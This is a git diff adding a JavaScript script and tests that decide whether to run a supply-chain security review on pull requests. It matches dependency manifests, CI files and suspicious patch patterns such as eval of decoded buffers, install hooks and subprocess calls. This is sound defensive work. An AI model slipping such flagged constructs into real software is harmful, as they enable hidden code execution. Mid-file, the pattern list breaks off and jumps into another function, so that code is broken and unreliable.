'.github/workflows/ci.yml', status: 'modified' }, + ]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + expect(result.reason).toContain('CI/build configuration'); + }); + + it('should combine file and patch triggers', () => { + const files = [ + { filename: 'package.json', status: 'modified' }, + { filename: 'src/init.js', status: 'modified', patch: '+ eval(payload)' }, + ]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should combine all trigger types', () => { + const files = [ + { filename: 'package.json', status: 'modified' }, + { filename: '.github/workflows/deploy.yml', status: 'modified' }, + { filename: '.npmrc', status: 'added' }, + { filename: 'src/init.js', status: 'modified', patch: '+ eval(Buffer.from(data))' }, + ]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + expect(result.reason).toContain('CI/build configuration'); + expect(result.reason).toContain('build script/config'); + expect(result.reason).toContain('suspicious code patterns'); + }); +}); + +describe('fetchPrFiles', () => { + beforeEach(() => { + vi.clearAllMocks(); + }); + + it('should call ghApi with correct endpoint', () => { + ghApi.mockReturnValue([{ filename: 'test.js' }]); + const context = { repo: { owner: 'org', repo: 'repo' }, issue: { number: 42 } }; + const result = fetchPrFiles(context); + expect(ghApi).toHaveBeenCalledWith('/repos/org/repo/pulls/42/files'); + expect(result).toEqual([{ filename: 'test.js' }]); + }); + + it('should return empty array when ghApi returns null', () => { + ghApi.mockReturnValue(null); + const context = { repo: { owner: 'org', repo: 'repo' }, issue: { number: 1 } }; + const result = fetchPrFiles(context); + expect(result).toEqual([]); + }); +}); + +describe('fetchPrLabels', () => { + beforeEach(() => { + vi.clearAllMocks(); + }); + + it('should call ghApi and return label names', () => { + ghApi.mockReturnValue([{ name: 'bug' }, { name: 'security' }]); + const context = { repo: { owner: 'org', repo: 'repo' }, issue: { number: 42 } }; + const result = fetchPrLabels(context); + expect(ghApi).toHaveBeenCalledWith('/repos/org/repo/issues/42/labels'); + expect(result).toEqual(['bug', 'security']); + }); + + it('should return empty array when ghApi returns null', () => { + ghApi.mockReturnValue(null); + const context = { repo: { owner: 'org', repo: 'repo' }, issue: { number: 1 } }; + const result = fetchPrLabels(context); + expect(result).toEqual([]); + }); +}); diff --git a/claude/auto-review/scripts/should-spawn-supply-chain.js b/claude/auto-review/scripts/should-spawn-supply-chain.js new file mode 100644 index 0000000..fcb611e --- /dev/null +++ b/claude/auto-review/scripts/should-spawn-supply-chain.js @@ -0,0 +1,271 @@ +#!/usr/bin/env node + +/** + * Determine whether the supply-chain security subagent should be spawned + * based on PR file patterns and patch content indicators. + * + * Outputs JSON: { spawn: boolean, reason: string } + */ + +import { ghApi, loadGitHubContext, createLogger } from './lib/github-utils.js'; + +const logger = createLogger('should-spawn-supply-chain.js'); + +// ---- File pattern triggers ------------------------------------------------ + +/** + * Dependency manifest and lockfile basenames. + */ +const DEPENDENCY_FILES = new Set([ + 'package.json', + 'package-lock.json', + 'pnpm-lock.yaml', + 'yarn.lock', + 'go.mod', + 'go.sum', + 'Cargo.toml', + 'Cargo.lock', + 'Gemfile', + 'Gemfile.lock', + 'composer.json', + 'composer.lock', + 'pyproject.toml', + 'setup.py', + 'setup.cfg', + 'build.gradle', + 'build.gradle.kts', + 'pom.xml', + 'Podfile', + 'Podfile.lock', + 'pubspec.yaml', + 'pubspec.lock', +]); + +/** + * CI/build configuration patterns. + */ +const CI_BUILD_PATTERNS = [ + /^\.github\/workflows\//, + /(^|\/)Dockerfile/i, + /(^|\/)docker-compose\.ya?ml$/i, + /(^|\/)Makefile$/i, + /(^|\/)Jenkinsfile$/i, + /(^|\/)\.gitlab-ci\.ya?ml$/i, + /(^|\/)\.circleci\//i, +]; + +/** + * Script/build config basenames that could be attack vectors. + */ +const BUILD_SCRIPT_FILES = new Set([ + '.npmrc', + '.yarnrc', + '.yarnrc.yml', + '.pnpmrc', + 'build.rs', + 'settings.gradle', + 'settings.gradle.kts', + 'init.gradle', + 'gradle.properties', +]); + +/** + * Script/build config patterns (regex-based, for files that can't be matched by basename alone). + */ +const BUILD_SCRIPT_PATTERNS = [ + /\.podspec$/, +]; + +// ---- Patch keyword triggers ----------------------------------------------- + +const SUSPICIOUS_PATCH_PATTERNS = [ + // JavaScript / Node.js + /eval\s*\(/, + /new\s+Function\s*\(/, + /eval\s*\(\s*Buffer\.from/, + /codePointAt/, + /fromCharCode/, + /\\x[0-9a-fA-F]{2}/, + /\\u[0-9a-fA-F]{4}/, + /preinstall|postinstall|preuninstall/, + + // Rust + /Command::new/, + /std::process::Command/, + /proc-macro/, + /build-dependencies/, + + // Gradle / Kotlin / Android + /apply\s+plugin/, + /classpath\s/, + /buildscript/, + + // CocoaPods + /script_phase/, + /prepare_command/, + + // Python + /subprocess\.(call|run|Popen)/, + /(? DOCS_ONLY_REGEX.test(f.filename)); + if (allDocs) { + return { spawn: false, reason: 'All files are documentation-only' }; + } + + // Collect trigger reasons + const reasons = []; + const triggerHits = new Set(); + let hasSuspiciousPatterns = false; + + for (const file of files) { + const { filename, patch } = file; + const basename = filename.split('/').pop(); + + // Dependency files + if (DEPENDENCY_FILES.has(basename)) { + triggerHits.add('dependency manifest/lockfile changes'); + } + + // CI/build configs + for (const pattern of CI_BUILD_PATTERNS) { + if (pattern.test(filename)) { + triggerHits.add('CI/build configuration changes'); + break; + } + } + + // Build script configs (exact basename match) + if (BUILD_SCRIPT_FILES.has(basename)) { + triggerHits.add('build script/config changes'); + } + + // Build script configs (regex pattern match) + for (const pattern of BUILD_SCRIPT_PATTERNS) { + if (pattern.test(filename)) { + triggerHits.add('build script/config changes'); + break; + } + } + + // Check patch content for suspicious patterns + if (patch) { + for (const pattern of SUSPICIOUS_PATCH_PATTERNS) { + if (pattern.test(patch)) { + hasSuspiciousPatterns = true; + break; + } + } + } + } + + if (triggerHits.size > 0) reasons.push(...triggerHits); + if (hasSuspiciousPatterns) reasons.push('suspicious code patterns in patch'); + + if (reasons.length > 0) { + return { spawn: true, reason: reasons.join(', ') }; + } + + return { spawn: false, reason: 'No supply-chain signals detected' }; +} + +// ---- GitHub API helpers --------------------------------------------------- + +/** + * Fetch PR files from GitHub API + * @param {Object} context - GitHub context + * @returns {Array} PR files + */ +export function fetchPrFiles(context) { + return ghApi( + `/repos/${context.repo.owner}/${context.repo.repo}/pulls/${context.issue.number}/files` + ) || []; +} + +/** + * Fetch PR labels from GitHub API + * @param {Object} context - GitHub context + * @returns {string[]} Label names + */ +export function fetchPrLabels(context) { + const labels = ghApi( + `/repos/${context.repo.owner}/${context.repo.repo}/issues/${context.issue.number}/labels` + ) || []; + return labels.map(l => l.name); +} + +// ---- CLI entry point ------------------------------------------------------ + +/** + * Main entry point + */ +export function main() { + const context = loadGitHubContext(); + + if (!context.issue.number) { + const result = { spawn: false, reason: 'Not a pull request event' }; + console.log(JSON.stringify(result)); + return result; + } + + const force = process.env.FORCE_SUPPLY_CHAIN_AGENT === 'true'; + const files = fetchPrFiles(context); + const labels = fetchPrLabels(context); + + const result = shouldSpawnSupplyChain(files, { labels, force }); + + logger.error(`Decision: spawn=${result.spawn}, reason="${result.reason}"`); + console.log(JSON.stringify(result)); + + return result; +} + +// Execute main() only when run directly +if (import.meta.url === `file://${process.argv[1]}`) { + try { + main(); + } catch (error) { + logger.error(`Error: ${error.message}`); + console.log(JSON.stringify({ spawn: false, reason: `Error: ${error.message}` })); + process.exit(0); + } +}